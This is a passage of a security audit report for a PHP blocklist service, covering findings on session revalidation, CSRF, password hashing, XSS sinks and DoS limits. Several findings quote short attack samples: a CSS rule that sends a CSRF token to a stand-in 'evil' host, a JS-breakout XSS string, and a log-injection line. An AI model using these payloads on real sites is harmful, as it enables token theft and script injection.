- **Status:** Fixed. `AuthRequiredMiddleware` now periodically
  revalidates the cached `UserContext` against `GET /api/v1/admin/me`.
  Cadence is configurable via `UI_SESSION_REVALIDATE_SECONDS` (default
  300 seconds — 5 minutes); the middleware tracks the last revalidation
  timestamp in a new `_revalidated_at` session slot owned by
  `SessionManager`. Branches:
  - **403 from the api** (`user_disabled` or `unknown impersonated user`)
    → session cleared, error flash "Your access was revoked. Please
    sign in again.", 302 to `/login`. The api's existing F11 disabled-
    user path drives this from the server side, so `Disabled` /
    deleted users are kicked off all live sessions within one
    revalidation window.
  - **404** → defensive same-as-403 (the api currently always returns
    403 for missing/disabled users; treat 404 the same way for safety).
  - **200 with changed role / display\_name / email** →
    `SessionManager::updateUser()` rewrites the cached row but
    preserves `_authenticated_at` / `_last_active` so the 8h idle and
    24h absolute timeouts keep running off the original login.
  - **200 unchanged** → just bump `_revalidated_at`.
  - **api unreachable / 401 / 5xx / generic** → log a warning, mark
    revalidated to avoid grinding on every request, and proceed with
    the existing session. An api outage must not lock every live
    session out, and the api itself is the authoritative gate on
    every data call (it re-resolves the principal via
    `X-Acting-User-Id` per request, F11), so a stale UI cache during
    an outage cannot escalate privilege.
  Pre-F36 ("legacy") sessions without `_revalidated_at` are
  bootstrapped on first sight without an api call, so existing
  rolling sessions don't all stampede the api on deploy. Tests:
  `ui/tests/Integration/Auth/SessionRevalidationTest.php` covers
  within-interval (no api call), past-interval-no-change,
  past-interval-role-changed (admin → viewer is reflected
  immediately), `user_disabled` and unknown-user kick paths,
  api-unreachable-keeps-session, and the legacy-session bootstrap.

### F37 — Local-admin password hash algorithm not validated at boot
- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
  bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
  legacy `$1$…` MD5-crypt string would have it accepted. Use
  `password_get_info()` and refuse to enable local-admin if the
  algorithm is below threshold.
- **Severity: 1**
- **Status:** Fixed. `App\App\Config::validateOrExit` (called from
  `Bootstrap::run()` before `Container::build()`) now refuses to boot
  when `LOCAL_ADMIN_ENABLED=true` and the configured
  `LOCAL_ADMIN_PASSWORD_HASH` is anything other than Argon2id or
  bcrypt with cost ≥ 12 (new `Config::BCRYPT_MIN_COST` constant). The
  algorithm is read via `password_get_info()`, so unknown / legacy
  formats (`$1$…` md5-crypt, `$5$…` sha256-crypt, plain text, base64
  noise) all collapse into the rejection branch with the same
  human-readable message pointing the operator at
  `password_hash('…', PASSWORD_ARGON2ID)`. argon2i is also rejected
  because it doesn't meet the SEC_REVIEW threshold even though
  `password_hash` accepts it. Tests: bypass the validator (the
  `Bootstrap::container()` test path is unchanged), so existing
  fixtures continue to use Argon2id without ceremony. Regression
  tests in `ui/tests/Unit/App/ConfigTest.php` cover Argon2id-accept,
  bcrypt-cost-12-accept, bcrypt-cost-4-reject, argon2i-reject,
  md5-crypt-reject, plain-string-reject, empty-string-reject, and
  the "local admin disabled, hash not checked" branch (operators who
  run OIDC-only don't have to invent a strong dummy hash).

### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
- **Risk:** When `localAdminEnabled === false`, the controller 404s
  with no rate-limit. Worker threads still serve the request — a
  cheap DoS lever on environments with the local path disabled.
- **Severity: 1**
- **Status:** Fixed. `LocalLoginController::postLocal` now records a
  `LoginThrottle` failure on the disabled-path branch before returning
  the 404. The bucket key is `('', source_ip)` — an empty username
  sentinel — so all hits from one source IP fold into the same per-IP
  bucket regardless of what username field the attacker happens to
  submit, defeating a rotating-username spray. Once locked, additional
  hits skip `recordFailure` (the gate is `if (!isLocked) recordFailure`),
  so the throttle file size is bounded by the lockout ladder rather
  than by attacker request volume. The 404 status code is preserved on
  both the locked and unlocked branches so the response doesn't leak
  the lockout state to a probing attacker. Regression tests in
  `ui/tests/Integration/Auth/LocalLoginTest.php`:
  `testDisabledLocalAdminRecordsThrottleFailure` (5 hits with rotating
  usernames from one IP trip the lockout) and
  `testDisabledLocalAdminLockedHitDoesNotIncrementBucket` (50 more
  hits while locked don't extend the lockout window).

### F39 — Token base32 encoding has trailing-bit ambiguity
- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
  `api/src/Domain/Auth/TokenIssuer.php:26-43`
- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
  base32 char encodes only 4 useful bits — 32 possible last
  characters decode to 16 distinct values modulo the unused bit.
  No exploit found (lookup is by SHA-256 of the raw input), but the
  parser should refuse base32 strings whose final character has the
  unused bit set.
- **Severity: 1**
- **Status:** Fixed. The original review concern was based on the
  visible `if (strlen($chunk) < 5) { $chunk = str_pad($chunk, 5, '0'); }`
  branch in `TokenIssuer::base32Encode`. For the actual input —
  `random_bytes(20)` = 160 bits — that branch was unreachable: 160 ÷ 5
  = 32 with zero remainder, every base32 char in the 32-char output
  carries a full 5 useful bits, and there is exactly one canonical
  encoding per input. So there are no unused trailing bits and no
  ambiguity in the existing scheme. The dead `str_pad` branch (the
  source of the false-positive impression) is removed; the encoder
  now hard-asserts `strlen($bytes) === 20` and throws
  `InvalidArgumentException` otherwise, so any future caller that
  passes a different length crashes loudly rather than silently
  emitting a non-canonical / shorter token. The 20-byte length is
  pinned via a new `TokenIssuer::ENTROPY_BYTES = 20` constant. The
  parser (`Token::parse`) keeps its `^[A-Z2-7]{32}$` body pattern;
  every 32-char base32 string is canonical for this scheme so no
  additional canonicality gate is needed. Regression test
  `TokenIssuerTest::testIssuedBodyAlwaysExactlyThirtyTwoBase32Chars`
  asserts the invariant across 100 fresh issuances.

### F40 — CSRF token never rotated on session-id regeneration
- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
  `ui/src/Auth/SessionManager.php:67-75, 77-82`
- **Risk:** `regenerateId()` rotates `session_id` on login but the
  `$_SESSION['_csrf']` token carries over across the privilege
  boundary. A pre-auth token leaked via referer or a sub-resource
  remains valid post-auth for the session lifetime. Standard
  hardening: regenerate the CSRF token on login/logout. (`clear()`
  resets `$_SESSION` to `[]` so logout is fine.)
- **Severity: 1**
- **Status:** Fixed. `SessionManager::regenerateId()` now also drops
  the `_csrf` slot on both branches (HTTP `session_regenerate_id(true)`
  and the CLI `rotateIdUnderCli` fallback). `CsrfMiddleware` lazily
  mints a fresh token on the next request when the slot is missing,
  and every call site of `regenerateId()` is followed by a 303 / 302
  redirect (no template render in the same request), so the next
  protected GET re-issues a clean token before any state-changing
  request. `clear()` already wipes `$_SESSION` outright on logout, so
  the rotate-on-id-rotate hook on `regenerateId` covers the login
  direction; an attacker who scraped the pre-auth token via Referer
  or a sub-resource leak cannot replay it post-auth. New `KEY_CSRF`
  constant on `SessionManager` mirrors `CsrfMiddleware::SESSION_KEY`
  to avoid a domain → http-layer dependency. Regression tests in
  `ui/tests/Unit/Auth/SessionManagerTest.php`
  (`testRegenerateIdRotatesCsrfTokenInCliMode` /
  `…InHttpMode`) and end-to-end through Slim in
  `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testCsrfTokenIsRotatedAcrossLoginPrivilegeBoundary`).

### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
  `api/src/Application/Admin/ConsumersController.php:184-190`
- **Risk:** Admin-gated, but an attacker with Admin can silently
  disable `report.received` / `blocklist.requested` audit emission
  for a reporter/consumer before performing further activity, then
  re-enable. No special-class audit signal flags the toggle.
- **Severity: 1**
- **Status:** Fixed. Two new audit actions —
  `AuditAction::REPORTER_AUDIT_TOGGLED` (`reporter.audit_toggled`) and
  `AuditAction::CONSUMER_AUDIT_TOGGLED` (`consumer.audit_toggled`) —
  fire from the PATCH handlers whenever `audit_enabled` actually flips
  (no-ops, e.g. PATCHing the field to its current value, do not emit).
  The standard `reporter.updated` / `consumer.updated` rows continue
  to carry the full field diff for context, so existing observers
  keep working; the new action is the flat alertable signal SOC
  tooling can match on with `WHERE action IN ('reporter.audit_toggled',
  'consumer.audit_toggled')` rather than walking into the metadata
  `changes` blob. Both rows live in the same DB transaction as the
  underlying update, so a partial commit cannot hide the toggle
  while the field flips. The UI's `AuditController` filter dropdown
  is extended to expose the new actions. Regression tests in
  `api/tests/Integration/Admin/ReportersControllerTest.php` and
  `…/ConsumersControllerTest.php`:
  `testAuditEnabledToggleEmitsDedicatedAuditRow` (toggle fires both
  rows; metadata records `from`/`to` booleans) and
  `testAuditEnabledNoOpDoesNotEmitDedicatedRow` (PATCH with the same
  value does not fire the dedicated signal).

### F42 — UI policy proxy controllers rely entirely on API for role enforcement
- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
  `getUser() === null` and forward to the API with the session userId
  as `X-Acting-User-Id`. Currently safe because API gates the
  underlying endpoint to Viewer, but if the API role drifts the UI
  silently allows access until an API 403 surfaces. Defense-in-depth:
  enforce the role expectation in the UI controller.
- **Severity: 1**

### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
- **Files:** `api/src/App/AppFactory.php:256`,
  `ui/src/App/AppFactory.php:130`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** `.+` matches multi-segment paths. Currently safe because
  `IpAddress::fromString` rejects non-IP strings, but any future
  reuse of `$args['ip']` as a filename, log key, or downstream URL
  component inherits a path-traversal sink. Tighten to a strict IP
  charset regex.
- **Severity: 1**

### F44 — Job name not strictly regex-validated before audit emission
- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
- **Risk:** `registry->has($name)` is the gate. A future change that
  trims/url-decodes inside `has()` could turn the audit-emit path
  into log injection or forged audit entries. Validate against
  `^[a-z0-9_-]+$` in the controller.
- **Severity: 1**

### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
  `192.168.0.0/16`, plus loopback. Any container reachable on the
  internal docker network passes the network gate. Safer: pin to a
  named docker-compose network or to the explicit scheduler IP.
- **Severity: 1**

### F46 — LIKE wildcard injection in IPs search `q`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
  meta-characters are not escaped. `?q=%` matches every row;
  `?q=_____...` is a quadratic backtrack vector. The `IpsController`
  validator only `trim()`s `q`; no length cap.
- **Severity: 1**

### F47 — Unbounded length on string filters reaching SQL
- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
  `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
  `subject_id` are accepted as arbitrary-length strings. Bound
  parametrically (no SQLi) but multi-megabyte values are happily
  forwarded to the prepared statement, wasting RAM/CPU per request.
  Apply max length 128 plus an allowlist regex on `*_kind` fields.
- **Severity: 1**

### F48 — MaxMind tarball extraction has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
  so direct path-traversal is mitigated, but there is no per-entry
  size cap. A small `.tar.gz` could decompress into multi-GB MMDB
  and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
  manually and enforce a max uncompressed size.
- **Severity: 1**

### F49 — DB-IP gunzip has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
- **Risk:** `gzdecode($compressed)` allocates the full decompressed
  payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
  misconfiguration) could serve a tiny gzip whose decompressed form
  is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
  bail past a threshold.
- **Severity: 1**

### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
- **File:** `api/src/App/Container.php:279-288`
- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
  defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
  constraints. A malicious upstream or DNS poisoning could 302 a
  download to `http://169.254.169.254/...` or `file://`. URL is a
  constant in the default deploy, so this is defence-in-depth.
  Mitigation:
  `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
  plus a private-IP guard.
- **Severity: 1**

### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
- **Risk:** Safe today because the only caller passes a typed list,
  but the `sprintf` pattern is fragile. Add
  `array_filter($groupIds, 'is_string')` to make the contract
  explicit.
- **Severity: 1**

### F52 — Reporter / consumer / category `name`/`reason` accept control characters
- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
  `ConsumersController.php:67-70`,
  `ManualBlocksController.php`, `AllowlistController.php`,
  `CategoriesController.php`
- **Risk:** NULs, newlines, ANSI escapes land in
  `audit_log.target_label` and `details_json`. Twig auto-escapes for
  display, but log-injection (`\n[CRIT] fake event`) is possible
  downstream. Strip control chars and NFC-normalise at the input
  boundary.
- **Severity: 1**

### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
- **Risk:**
  `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
  Twig's default `e('html')` escapes `'` to `&#039;`. The browser
  HTML-decodes the attribute before Alpine evaluates it as JS, so
  `&#039;` becomes a literal `'` and breaks out of the JS string. If
  `decay_function` ever stores `a'); alert(1);//` (API enum drift),
  it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
  Use `e('js')` for content interpolated into a JS-attribute.
- **Severity: 1**

### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
- **Risk:** Token validation is correct (constant-time compare,
  256-bit entropy). Missing layered checks. No JSON-body extraction
  path (the middleware reads only header or `getParsedBody()`); fine
  today, brittle for future PUT/PATCH endpoints with JSON.
- **Severity: 1**

### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
  Alpine runs the attribute through. Backticks aren't escaped,
  Unicode permissive. A maintainer footgun more than an exploit.
  Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
  non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
  pattern already used in `dashboard.twig`).
- **Severity: 1**

### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
  `pages/categories/edit.twig:111-135`,
  `pages/policies/edit.twig:139-422`,
  `pages/audit/index.twig:102-131`,
  `layout.twig:9-22`
- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
  (F24). Migrating to per-request nonces, or moving these scripts
  into a packaged `/assets/app.js`, lets the CSP drop the
  `'unsafe-inline'` token.
- **Severity: 1**

### F57 — Session cookie name lacks `__Host-` prefix
- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
  `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
  these at the browser and prevents subdomain cookie shadowing.
  Free defence-in-depth.
- **Severity: 1**

### F58 — `/api/docs` CSP allows external CDN without SRI
- **File:** `api/docker/Caddyfile:41`
- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
  the CDN is compromised or RapiDoc serves user-influenced content,
  the docs page executes attacker JS. Add SRI hashes on the RapiDoc
  tag, or vendor a copy locally.
- **Severity: 1**

### F59 — Missing modern hardening headers
- **Files:** `ui/docker/Caddyfile:18-34`,
  `api/docker/Caddyfile:24-30`
- **Risk:** No `Cross-Origin-Opener-Policy`,
  `Cross-Origin-Resource-Policy`, or
  `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
  only `geolocation`, `microphone`, `camera`. Cheap to add the
  rest.
- **Severity: 1**

### F60 — HSTS lacks `preload`
- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
- **Risk:** Informational. Operators who want HSTS preload need to
  add the directive.
- **Severity: 1**

### F61 — Caddy `Permissions-Policy` minimal
- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
- **Risk:** Modern hardening also denies `interest-cohort`,
  `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
  `fullscreen`, `display-capture`, `clipboard-read`, etc.
- **Severity: 1**

### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
  can write CSS like
  `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
  to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
  `style-src` and move dynamic widths to a stylesheet driven by
  `data-*` attributes.
- **Severity: 1**

### F63 — Twig `autoescape` default is not explicitly configured
- **File:** `ui/src/App/Container.php:105-131`
- **Risk:** Defaults to `'html'` today, but a future Twig major or
  Slim-twig wrapper change could quietly flip it. Pin
  `'autoescape' => 'html'`.
- **Severity: 1**

### F64 — `compose.scheduler.yml` references a missing crontab file
- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
- **Risk:** The bind-mount source does not exist in the repository.
  Container starts with empty `/etc/crontabs/root` and silently never
  runs `cleanup-audit` (audit retention silently broken) or
  `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
- **Severity: 1**

### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
  `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
- **Risk:** A short Bearer (< 20 chars) is not redacted by the
  current regex. Raw `id_token`/`access_token` JWTs logged under
  alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
  Add a JWT regex
  `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
- **Severity: 1**

### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
- **Files:** `.env.example:23, 82`,
  `api/config/settings.php:35`,
  `ui/config/settings.php:37`
- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
  is never used for any signing/HMAC operation. Operators following
  `.env.example` generate secret material that does nothing — a
  misleading security signal. Either wire them into ETag/CSRF/session
  signing or remove them.
- **Severity: 1**

### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
- **Files:** `ui/src/App/Config.php:20-55`,
  `.env.example:82`
- **Risk:** `.env.example:82` documents `UI_SECRET` as required
  ("signs session cookies") but the boot validator does not check
  it. Sessions are unsigned PHP-native files. Misleading
  documentation.
- **Severity: 1**

### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
- **Files:** `api/src/App/AppFactory.php:99-101`,
  `api/docker/Caddyfile:40-44`
- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
  endpoints, internal-job endpoints, expected query/body shapes, and
  error contracts to unauthenticated callers. Defaults to
  internet-reachable. Aids reconnaissance. Gate behind a flag like
  `API_DOCS_PUBLIC` or move to an authenticated path.
- **Severity: 1**

### F69 — `ReportController` parses unbounded JSON body before size checks
- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
  `api/src/App/AppFactory.php:67`
- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
  `json_decode`s it without a pre-decoding size check. The 4 KB
  `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
  full body is in memory by then. PHP `post_max_size`/`memory_limit`
  are not configured anywhere in the docker stack. An authenticated
  reporter (one weak token suffices) can POST a 100 MB body and
  burn memory; metadata-depth nesting up to PHP's 512 default
  amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
  enforce `php_value memory_limit`.
- **Severity: 1**

### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
- **Risk:** A consumer can request the more expensive JSON renderer
  on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
  rebuilds and rehashes. Combined with the per-token-only rate
  limit, a single consumer at 60 req/s sustains 60 full
  build-and-hash operations per second per replica. Header
  size limits cap the `If-None-Match` parse loop but it is still an
  amplifier. Constrain `format` per consumer (only allow what the
  consumer typically uses).
- **Severity: 1**

### F71 — `BlocklistCache` is not size-bounded
- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
- **Risk:** The cache map is keyed by `$policy->id` and grows
  monotonically with no LRU. Admin-creatable, but unbounded. Add a
  bounded LRU (e.g. 16 policies cached).
- **Severity: 1**

### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
- **Files:** `api/src/App/AppFactory.php:256`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
  `rawurldecode` runs on the entire string; `IpAddress::fromString`
  applies regex. Web-server URL-length limits typically cap this at
  a few KB but mitigations are environment-specific. Tighten the
  regex to a strict IP character class.
- **Severity: 1**

### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
  status if it is in `[400, 600)`. PDOException's `getCode()` is a
  SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
  string like `'400'` would set status 400 and skip prod
  message-suppression. Cast to int explicitly and reject non-numeric
  codes.
- **Severity: 1**

### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
  the structured logger. No log-rate cap, no aggregation. Pair with
  F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
- **Severity: 1**

---

## Reviewed and acceptable

The following candidate concerns were checked and are not findings in the
current code. Listed for completeness so the next reviewer doesn't redo
the same work.

- **No raw SQL interpolation of user input.** All repositories bind via
  DBAL named/positional parameters. The only `sprintf` into SQL is for
  table names where values are hardcoded constants or `?` placeholder
  counts.
- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
  user-controlled sort column anywhere reviewed.
- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
  `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
  modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
  strict — rejects whitespace, leading zeros, bracketed IPv6, zone
  identifiers, malformed octets.
- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
  encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
  channel.
- **Constant-time comparisons** used where they matter (`hash_equals`
  in CSRF, internal token, local-admin username).
- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
- **Failed-token responses are uniform 401** — no distinction between
  missing/malformed/unknown/revoked/expired.
- **Impersonation header is silently ignored on non-service tokens.**
- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
- **JobRunner orchestrates entirely via DBAL** — no shell-out.
- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
  thresholds; truncated/empty downloads fail closed.
- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
  user-retargetable.
- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
  a hard-coded allowlist.
- **Twig auto-escape (HTML)** is the default; no `|raw` over
  user-controlled data was found.
- **Logout is POST-only and CSRF-protected.**
- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
  `SameSite=Lax`) are correct.
- **`PharData::extractTo` rejects path traversal** since PHP 8.

---

## Summary of severity counts

| Severity | Count |
|----------|-------|
| 3        | 5     |
| 2        | 27    |
| 1        | 42    |
| **Total**| **74**|

The headline risks are: (a) the brute-force lockout is bypassable
trivially via `X-Forwarded-For` spoofing or distributed sources
(F1, F2), (b) a leaked or unrotated service token is a single-step
total compromise because `/api/v1/auth/upsert-local` mints Admin users
with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
integrity rests on a non-transactional best-effort second write that
silently no-ops on failure (F4, F5). The combination of these means a
single compromised credential plus a deliberately-failed audit insert
yields un-traced privilege escalation.